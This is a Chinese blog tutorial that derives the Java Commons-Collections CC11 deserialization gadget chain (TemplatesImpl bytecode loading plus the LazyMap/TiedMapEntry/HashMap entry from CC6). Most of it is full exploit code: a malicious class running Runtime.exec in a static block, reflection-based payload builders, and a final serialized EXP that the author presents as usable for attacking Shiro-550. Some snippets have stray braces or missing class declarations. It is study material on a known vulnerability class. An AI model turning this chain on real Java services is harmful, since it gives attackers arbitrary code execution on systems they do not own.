CC11链
Java 反序列化 Commons-Collections 篇 09-CC11 链
0x01 前言
原本 CC 链子从 1-7 学完就可以了,最近木爷的博客修好了,木爷在 Shiro-550 的文章里面提及了这一条链子,就顺便自己也学一学。
- 同样,就看 yso 的链子,看一看自己可不可以完全成功地写出 EXP 来。
0x02 环境搭建
- CommonsCollections 3.1-3.2.1
- jdk 版本无限制,我这里用的是 jdk8u65 的
一些细致的环境搭建可以参考我 CC 链的第一篇文章。
Java反序列化Commons-Collections篇01-CC1链
0x03 CC11 链分析
写在分析前的一些话
木头师傅说是 CC2 + CC6 的结合体,也有 qax 的一篇文章说除了 CC1-7 的链子,剩下的链子都可以通过结合产生 CC-N,这里我也把 CC2 与 CC6 的流程图放上来。
TemplatesImpl 解析与利用
在这一条小链子当中,流程图可以绘制如下。
这里我们可以正向看,首先是 loadClass()
,它的作用是从已加载的类缓存、父加载器等位置寻找类(这里实际上是双亲委派机制),在前面没有找到的情况下,执行 findClass()
。
对于 findClass()
方法
- 根据名称或位置加载 .class 字节码,然后使用 defineClass,代码实例如下。
- 通常由子类去实现
1 2 3 4 5
| protected Class<?> findClass(String name) throws ClassNotFoundException { throw new ClassNotFoundException(name); }
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| class NetworkClassLoader extends ClassLoader { String host; int port;
public Class findClass(String name) { byte[] b = loadClassData(name); return defineClass(name, b, 0, b.length); }
private byte[] loadClassData(String name) { } }
|
defineClass()
的作用是处理前面传入的字节码,将其处理成真正的 Java 类。
此时的 defineClass()
方法是有局限性的,因为它只是加载类,并不执行类。若需要执行,则需要先进行 newInstance()
的实例化。
现在我们的 defineClass()
方法的作用域为 protected
,我们需要找到作用域为 public
的类,方便我们利用。照样 find usages
在 TemplatesImpl
类的 static class TransletClassLoader
中找到了我们能够运用的类。
这里的 defineClass()
方法没有标注作用域,默认为 defalut,也就是说自己的类里面可以调用,我们继续 find usages
因为作用域是 private,所以我们看一看谁调用了 defineTransletClasses()
方法
- 这里还有一点需要注意的,
_bytecodes
的值不能为 null,否则会抛出异常。
还是同一个类下的 getTransletInstance()
方法调用了 defineTransletClasses()
方法,并且这里有一个 newInstance()
实例化的过程,如果能走完这个函数那么就能动态执行代码,但是因为它是私有的,所以继续找。
- 找到了一个 public 的方法,接下来我们开始利用。
1. 利用逻辑
在分析过程我们说到只要走过 getTransletInstance()
方法即可,因为这个方法内调用了 newInstance()
方法,用伪代码来表示的话如下。
1 2
| TemplatesImpl templates = new TemplatesImpl(); templates.newTransformer();
|
- 如果没有一堆限制条件,我们现在的这两行代码就可以进行命令执行了。这里的限制条件指的是类似于下图的这一些。
如果此处的 _name
为 null,则后续的代码都不执行,也到不了我们调用 newInstance()
实例化的地方。
并且这里我们需要让 _classs
的值为空,才能进入调用 newInstance()
这些便是限制条件
2. 分析限制条件并编写 EXP
- 这里的 TemplatesImpl 是可以进行序列化的,所以这里我们使用反射修改其值。
先列举一些需要我们进行赋值的属性值,用反射修改属性值。赋值这里需要”对症下药”,也就是需要什么类型的值,我们就给什么类型。
_class
的值应当为 null,我们去看 TemplatesImpl
的构造方法中没有给 _class
赋初值,所以不用管它。
_name
的值,这里需要的是 String,所以我们简单赋个 String 即可。
_bytecodes
的值,这里需要的是一个二维数组,所以我们创建一个二维数组。但是 _bytecodes
作为传递进 defineClass 方法的值是一个一维数组。而这个一维数组里面我们需要存放恶意的字节码。这一段伪代码可以这样写。
在写这段小 poc 之前,要先写一个 Calc.class 的恶意类并编译。
1 2 3 4 5 6 7 8 9 10 11
| import java.io.IOException; public class Calc { static { try { Runtime.getRuntime().exec("calc"); } catch (IOException e){ e.printStackTrace(); } } }
|
直接编写静态代码块就可以了,因为在类初始化的时候会自动执行代码。
1 2
| byte[] evil = Files.readAllBytes(Paths.get("E://Calc.class")); byte[][] codes = {evil};
|
_tfactory
这里比较难,我们也过一遍,这两个过完之后,写其他的就没什么问题了。
_tfactory
的值在 TemplatesImpl
这一类中被定义如下,关键字是 transient
,这就导致了这个变量在序列化之后无法被访问。
1
| private transient TransformerFactoryImpl _tfactory = null;
|
直接修改是不行的,但是我们这里的利用要求比较低,只要让 _tfactory
不为 null 即可,我们去看一看 _tfactory
的其他定义如何。
在 readObject()
方法中,找到了 _tfactory
的初始化定义。
所以这里直接在反射中将其赋值为 TransformerFactortImpl
即可,伪代码如下。
1 2 3
| Field tfactoryField = templatesClass.getDeclaredField("_tfactory"); tfactoryField.setAccessible(true); tfactoryField.set(templates, new TransformerFactoryImpl());
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28
| import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import java.lang.reflect.Field; import java.nio.file.Files; import java.nio.file.Paths;
public class TemplatesImplEXP { public static void main(String[] args) throws Exception{ TemplatesImpl templates = new TemplatesImpl(); Class templatesClass = templates.getClass(); Field nameField = templatesClass.getDeclaredField("_name"); nameField.setAccessible(true); nameField.set(templates,"Drunkbaby"); Field bytecodesField = templatesClass.getDeclaredField("_bytecodes"); bytecodesField.setAccessible(true); byte[] evil = Files.readAllBytes(Paths.get("E://Calc.class")); byte[][] codes = {evil}; bytecodesField.set(templates,codes); Field tfactoryField = templatesClass.getDeclaredField("_tfactory"); tfactoryField.setAccessible(true); tfactoryField.set(templates, new TransformerFactoryImpl()); templates.newTransformer(); } }
|
解决报错,挖 0day 的必经之路!
- 按照道理来说,上面的 EXP 已经挺完美的了,但是在运行的时候我不但没有弹出计算器,反而还报错了。
这里报错是由于空指针报错,我们去 TemplatesImpl
下打断点调试一下。
我是在 393 行 if (_bytecodes == null)
那里打断点的。调试之后发现问题出在这儿。
- 418 行,判断在
defineClass()
方法中传进去的参数 b 数组的字节码是否继承了 ABSTRACT_TRANSLET
这个父类,如果没有则抛出异常,所以我们需要去恶意类中继承 ABSTRACT_TRANSLET
这个父类。
或者我们可以将 _auxClasse
赋值,使其不为 null。但是如果没有继承 ABSTRACT_TRANSLET
这个父类,会导致 _transletIndex
的值为 -1,在第 426 行的判断当中跳出程序。
修改完毕之后,我们的弹计算器就成功了。
前半段 CC6 链解析
后半段链子和 CC6 的链子是一样的,但我们还是来分析一遍。
尾部这里是 InvokerTransformer.transform(),所以我们从这里开始找起。
- 去到 InvokerTransformer 下的
transform()
方法,发现确实存在命令执行的特性,我们去找一找谁调用了 transform()
方法。
发现是 LazyMap.get() 调用了 transform()
方法,参数是 factory,这个 factory 的变量我们到时候可以通过反射修改。
然后去找谁调用了 get()
方法,这里应该挺难找的,就直接跟着赛博鼠师傅的链子走,是 TiedMapEntry.getValue()
调用了 get()
方法
接着,在同个类里面找到了 hashCode()
方法调用了 getValue()
方法。这里 hashCode()
和 toString()
应该都是可以的,因为都是广泛的函数,最后跟着链子走,具体就不分析了。具体详见Java反序列化Commons-Collections篇03-CC6链
这其实就是 CC6 的链子,我看其他师傅的文章,因为 CC2 + CC6 组成的链子能够在 Transformer[] 被禁用的时候很好的进行代码执行。
0x04 逐步编写 EXP
尾部 TemplatesImpl 链
首先,编写一个恶意类,然后将其放到容易找到的地方。恶意类编写如下
1 2 3 4 5 6 7 8 9 10 11
| import java.io.IOException; public class Calc {} static { try { Runtime.getRuntime().exec("calc"); } catch (IOException e){ e.printStackTrace(); } } }
|
- 我们 TemplatesImpl 的 Exp 如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33
| import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.InstantiateTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.keyvalue.TiedMapEntry; import javax.xml.transform.Templates; import java.lang.reflect.Field; import java.nio.file.Files; import java.nio.file.Paths;
public static void main(String[] args) throws Exception{ com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl templates = new com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl(); Class templatesClass = templates.getClass(); Field nameField = templatesClass.getDeclaredField("_name"); nameField.setAccessible(true); nameField.set(templates,"Drunkbaby"); Field bytecodesField = templatesClass.getDeclaredField("_bytecodes"); bytecodesField.setAccessible(true); byte[] evil = Files.readAllBytes(Paths.get("E://Calc.class")); byte[][] codes = {evil}; bytecodesField.set(templates,codes); Field tfactoryField = templatesClass.getDeclaredField("_tfactory"); tfactoryField.setAccessible(true); tfactoryField.set(templates, new TransformerFactoryImpl()); templates.newTransformer(); } }
|
成功弹出计算器
然后我们写 InvokerTransformer.transform()
执行 TemplatesImpl
的 EXP
因为最后一句语句 templates.newTransformer();
是来命令执行的,先把其注释掉,逐步编写 EXP
2. 找链子
- 根据 ysoSerial 官方的链子,是
TiedMapEntry
类中的 getValue()
方法调用了 LazyMap
的 get()
方法。
这里先重新写一遍 LazyMap 类调用计算器的 EXP,这种 EXP 是不嫌多的,多写一写能让自己更加熟练。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47
| import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.LazyMap; import java.lang.reflect.Field; import java.lang.reflect.Method; import java.nio.file.Files; import java.nio.file.Paths; import java.util.HashMap; import java.util.Map; public class LazyMapEXP { public static void main(String[] args) throws Exception{ TemplatesImpl templates = new TemplatesImpl(); Class templatesClass = templates.getClass(); Field nameField = templatesClass.getDeclaredField("_name"); nameField.setAccessible(true); nameField.set(templates,"Drunkbaby"); Field bytecodesField = templatesClass.getDeclaredField("_bytecodes"); bytecodesField.setAccessible(true); byte[] evil = Files.readAllBytes(Paths.get("E://Calc.class")); byte[][] codes = {evil}; bytecodesField.set(templates,codes); Field tfactoryField = templatesClass.getDeclaredField("_tfactory"); tfactoryField.setAccessible(true); tfactoryField.set(templates, new TransformerFactoryImpl()); Transformer[] transformers = new Transformer[]{ new ConstantTransformer(templates), new InvokerTransformer("newTransformer", null, null) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); HashMap<Object, Object> hashMap = new HashMap<>(); Map lazyMap = LazyMap.decorate(hashMap, chainedTransformer); Class<LazyMap> lazyMapClass = LazyMap.class; Method lazyGetMethod = lazyMapClass.getDeclaredMethod("get", Object.class); lazyGetMethod.setAccessible(true); lazyGetMethod.invoke(lazyMap, chainedTransformer); } }
|
链子的下一步是,TiedMapEntry
类中的 getValue()
方法调用了 LazyMap
的 get()
方法。我们用 TiedMapEntry
写一个 EXP,确保这条链子是能用的。
- 因为
TiedMapEntry
是作用域是 public
,所以我们不需要反射获取它的方法,可以直接调用并修改。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45
| import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.keyvalue.TiedMapEntry; import org.apache.commons.collections.map.LazyMap; import java.lang.reflect.Field; import java.nio.file.Files; import java.nio.file.Paths; import java.util.HashMap; import java.util.Map; public class LazyMapEXP { public static void main(String[] args) throws Exception{ TemplatesImpl templates = new TemplatesImpl(); Class templatesClass = templates.getClass(); Field nameField = templatesClass.getDeclaredField("_name"); nameField.setAccessible(true); nameField.set(templates,"Drunkbaby"); Field bytecodesField = templatesClass.getDeclaredField("_bytecodes"); bytecodesField.setAccessible(true); byte[] evil = Files.readAllBytes(Paths.get("E://Calc.class")); byte[][] codes = {evil}; bytecodesField.set(templates,codes); Field tfactoryField = templatesClass.getDeclaredField("_tfactory"); tfactoryField.setAccessible(true); tfactoryField.set(templates, new TransformerFactoryImpl()); Transformer[] transformers = new Transformer[]{ new ConstantTransformer(templates), new InvokerTransformer("newTransformer", null, null) }; }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); HashMap<Object, Object> hashMap = new HashMap<>(); Map lazyMap = LazyMap.decorate(hashMap, chainedTransformer); TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "key"); tiedMapEntry.getValue(); } }
|
这里的逻辑还是很简单的,直接 new 一个 TiedMapEntry
对象,并调用它的 getValue()
方法即可,它的 getValue
方法会去调用 map.get(key)
方法。
现在我们确保了 TiedMapEntry
这一段链子的可用性,往上去找谁调用了 TiedMapEntry
中的 getValue()
方法。
- 寻找的方法也略提一嘴,因为
getValue()
这一个方法是相当相当常见的,所以我们一般会优先找同一类下是否存在调用情况。
寻找到同名函数下的 hashCode()
方法调用了 getValue()
方法。
如果我们在实战里面,在链子中找到了 hashCode()
方法,说明我们的构造已经可以“半场开香槟”了,
3. 与入口类结合的整条链子
- 前文我们说到链子已经构造到
hashCode()
这里了,这一条 hashCode()
的链子该如何构造呢?
我们去找谁调用了 hashCode()
方法,这里我就直接把答案贴出来吧,因为在 Java 反序列化当中,找到 hashCode()
之后的链子用的基本都是这一条。
1 2 3
| xxx.readObject() HashMap.put() --自动调用--> HashMap.hash() 后续利用链.hashCode()
|
更巧的是,这里的 HashMap 类本身就是一个非常完美的入口类。
- 如果要写一段从
HashMap.put()
开始,到 InvokerTransformer
结尾的弹计算器的 EXP,应当是这样的。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45
| import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.keyvalue.TiedMapEntry; import org.apache.commons.collections.map.LazyMap; import java.lang.reflect.Field; import java.nio.file.Files; import java.nio.file.Paths; import java.util.HashMap; import java.util.Map; public class HashMapEXP { public static void main(String[] args) throws Exception{ TemplatesImpl templates = new TemplatesImpl(); Class templatesClass = templates.getClass(); Field nameField = templatesClass.getDeclaredField("_name"); nameField.setAccessible(true); nameField.set(templates,"Drunkbaby"); Field bytecodesField = templatesClass.getDeclaredField("_bytecodes"); bytecodesField.setAccessible(true); byte[] evil = Files.readAllBytes(Paths.get("E://Calc.class")); byte[][] codes = {evil}; bytecodesField.set(templates,codes); Field tfactoryField = templatesClass.getDeclaredField("_tfactory"); tfactoryField.setAccessible(true); tfactoryField.set(templates, new TransformerFactoryImpl()); Transformer[] transformers = new Transformer[]{ new ConstantTransformer(templates), new InvokerTransformer("newTransformer", null, null) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); HashMap<Object, Object> hashMap = new HashMap<>(); Map lazyMap = LazyMap.decorate(hashMap, chainedTransformer); TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "key"); HashMap<Object, Object> expMap = new HashMap<>(); expMap.put(tiedMapEntry, "value"); } }
|
这里在 42 行,也就是 HashMap<Object, Object> expMap = new HashMap<>();
这里打断点,会发现直接 41 行就弹计算器了,不要着急,这里是一个 IDEA 的小坑,后续会讲。
OK 言归正传,在构造最终 EXP 之前我们分析一波 ~
HashMap
类的 put()
方法自动调用了 hashCode()
方法,我们尝试构造 EXP,结果中居然出现了一个很神奇的现象?!
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55
| import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.keyvalue.TiedMapEntry; import org.apache.commons.collections.map.LazyMap; import java.io.*; import java.lang.reflect.Field; import java.nio.file.Files; import java.nio.file.Paths; import java.util.HashMap; import java.util.Map; public class CC11FinalEXP { public static void main(String[] args) throws Exception{ com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl templates = new com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl(); Class templatesClass = templates.getClass(); Field nameField = templatesClass.getDeclaredField("_name"); nameField.setAccessible(true); nameField.set(templates,"Drunkbaby"); Field bytecodesField = templatesClass.getDeclaredField("_bytecodes"); bytecodesField.setAccessible(true); byte[] evil = Files.readAllBytes(Paths.get("E://Calc.class")); byte[][] codes = {evil}; bytecodesField.set(templates,codes); Field tfactoryField = templatesClass.getDeclaredField("_tfactory"); tfactoryField.setAccessible(true); tfactoryField.set(templates, new TransformerFactoryImpl()); Transformer[] transformers = new Transformer[]{ new ConstantTransformer(templates), new InvokerTransformer("newTransformer", null, null) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); HashMap<Object, Object> hashMap = new HashMap<>(); Map lazyMap = LazyMap.decorate(hashMap, chainedTransformer); TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "key"); HashMap<Object, Object> expMap = new HashMap<>(); expMap.put(tiedMapEntry, "value"); serialize(expMap); unserialize("ser.bin"); } public static void serialize(Object obj) throws IOException { ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin")); oos.writeObject(obj); } public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{ ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename)); Object obj = ois.readObject(); return obj; } }
|
我在打断点调试的时候发现当我序列化的时候,就能够弹出计算器,太奇怪了,其实这与 URLDNS 链中的情景其实是一模一样的。
4. 解决在序列化的时候就弹出计算器的问题
- 参考 URLDNS 链中的思想,先在执行
put()
方法的时候,先不让其进行命令执行,在反序列化的时候再命令执行。
此处强烈建议师傅们去打断点好好理解一下!
我在打完断点后分析出来的原因是这样的:
与 URLDNS 中的不同,有些链子可以通过设置参数修改,有些则不行。在我们 CC6 的链子当中,通过修改这一句语句 Map lazyMap = LazyMap.decorate(hashMap, chainedTransformer);
,可以达到我们需要的效果。
我们之前传进去的参数是 chainedTransformer
,我们在序列化的时候传进去一个没用的东西,再在反序列化的时候通过反射,将其修改回 chainedTransformer
。相关的属性值在 LazyMap 当中为 factory
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| Map lazyMap = LazyMap.decorate(hashMap, chainedTransformer); TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "key");
-----------------> 变成
Map lazyMap = LazyMap.decorate(hashMap, new ConstantTransformer("five")); lazyMap.remove("key");
在执行 put 方法之后通过反射修改 Transformer 的 factory 值
Class<LazyMap> lazyMapClass = LazyMap.class; Field factoryField = lazyMapClass.getDeclaredField("factory"); factoryField.setAccessible(true); factoryField.set(lazyMapClass, chainedTransformer);
|
最终成功的 EXP 如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64
| import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.keyvalue.TiedMapEntry; import org.apache.commons.collections.map.LazyMap; import java.io.*; import java.lang.reflect.Field; import java.nio.file.Files; import java.nio.file.Paths; import java.util.HashMap; import java.util.Map; public class CC11FinalEXP { public static void main(String[] args) throws Exception{ com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl templates = new com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl(); Class templatesClass = templates.getClass(); Field nameField = templatesClass.getDeclaredField("_name"); nameField.setAccessible(true); nameField.set(templates,"Drunkbaby"); Field bytecodesField = templatesClass.getDeclaredField("_bytecodes"); bytecodesField.setAccessible(true); byte[] evil = Files.readAllBytes(Paths.get("E://Calc.class")); byte[][] codes = {evil}; bytecodesField.set(templates,codes); Field tfactoryField = templatesClass.getDeclaredField("_tfactory"); tfactoryField.setAccessible(true); tfactoryField.set(templates, new TransformerFactoryImpl()); Transformer[] transformers = new Transformer[]{ new ConstantTransformer(templates), new InvokerTransformer("newTransformer", null, null) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); HashMap<Object, Object> hashMap = new HashMap<>();
Map lazyMap = LazyMap.decorate(hashMap, new ConstantTransformer("five")); TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "key"); HashMap<Object, Object> expMap = new HashMap<>(); expMap.put(tiedMapEntry, "value"); lazyMap.remove("key"); Class<LazyMap> lazyMapClass = LazyMap.class; Field factoryField = lazyMapClass.getDeclaredField("factory"); factoryField.setAccessible(true); factoryField.set(lazyMap, chainedTransformer); serialize(expMap); unserialize("ser.bin"); } public static void serialize(Object obj) throws IOException { ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin")); oos.writeObject(obj); } public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{ ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename)); Object obj = ois.readObject(); return obj; } }
|
前面我们说的链子,还是调用了 Transformer
数组的,但是真正的 CC11 链子是可以不带Transformer
数组的,这样,我们可以通过 CC11 来打 Shiro-550 的漏洞。
本质原因如下
这个 LazyMap#get
的参数 key,会被传进transform()
,实际上它可以扮演 ConstantTransformer 的角色——一个简单的对象传递者。
我们 LazyMap.get(key)
直接调用 InvokerTransfomer.transform(key)
,然后像CC2那样调用 TempalteImpl.newTransformer()
来完成后续调用。
我们将原本的 Transformer 数组那一行修改如下
1
| InvokerTransformer invokerTransformer = new InvokerTransformer<>("newTransformer", new Class[]{}, new Object[]{});
|
再将后面几行的代码修改如下
1 2 3 4 5 6 7
| Map hashMap = new HashMap(); Map lazyMap = LazyMap.decorate(hashMap, new ConstantTransformer(1)); TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, templates); Map expMap = new HashMap(); expMap.put(tiedMapEntry, "valuevalue"); lazyMap.remove(templates);
|
得到的最终 EXP 如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56
| import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.keyvalue.TiedMapEntry; import org.apache.commons.collections.map.LazyMap; import java.io.*; import java.lang.reflect.Field; import java.nio.file.Files; import java.nio.file.Paths; import java.util.HashMap; import java.util.Map;
public static void main(String[] args) throws Exception{ byte[] code = Files.readAllBytes(Paths.get("E:\\JavaClass\\TemplatesBytes.class")); TemplatesImpl templates = new TemplatesImpl(); setFieldValue(templates, "_name", "Calc"); setFieldValue(templates, "_bytecodes", new byte[][] {code}); setFieldValue(templates, "_tfactory", new TransformerFactoryImpl()); InvokerTransformer invokerTransformer = new InvokerTransformer("newTransformer", new Class[]{}, new Object[]{});
HashMap<Object, Object> hashMap = new HashMap<>();
Map lazyMap = LazyMap.decorate(hashMap, new ConstantTransformer("five")); TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, templates); HashMap<Object, Object> expMap = new HashMap<>(); expMap.put(tiedMapEntry, "value"); lazyMap.remove(templates); setFieldValue(lazyMap, "factory", invokerTransformer); serialize(expMap); unserialize("ser.bin"); } public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception{ Field field = obj.getClass().getDeclaredField(fieldName); field.setAccessible(true); field.set(obj, value); } public static void serialize(Object obj) throws IOException { ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin")); oos.writeObject(obj); } public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{ ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename)); Object obj = ois.readObject(); return obj; } }
|
0x06 小结
作为 yso 官方当中并没有的链子,CC11 链同时也被叫做是 CC2 + CC6 链的结合体,我这里把它单独拉出来,主要是为了后续 Shiro 学习,以及很多其他反序列化的学习当中,可以将 CC11 链单独作为一个非常好用的链子来攻击。
cc11 好用的原因主要是 能够像 cc2 一样加载恶意字节码,同时受影响的版本还是 CommonsCollections 3.1-3.2.1 这个版本相对 CommonsCollections 4.0 范围应该会更广一些。
0x07 参考资料
http://wjlshare.com/archives/1536
https://johnfrod.top/%e5%ae%89%e5%85%a8/monscollections3%e5%88%a9%e7%94%a8%e9%93%be%e5%88%86%e6%9e%90/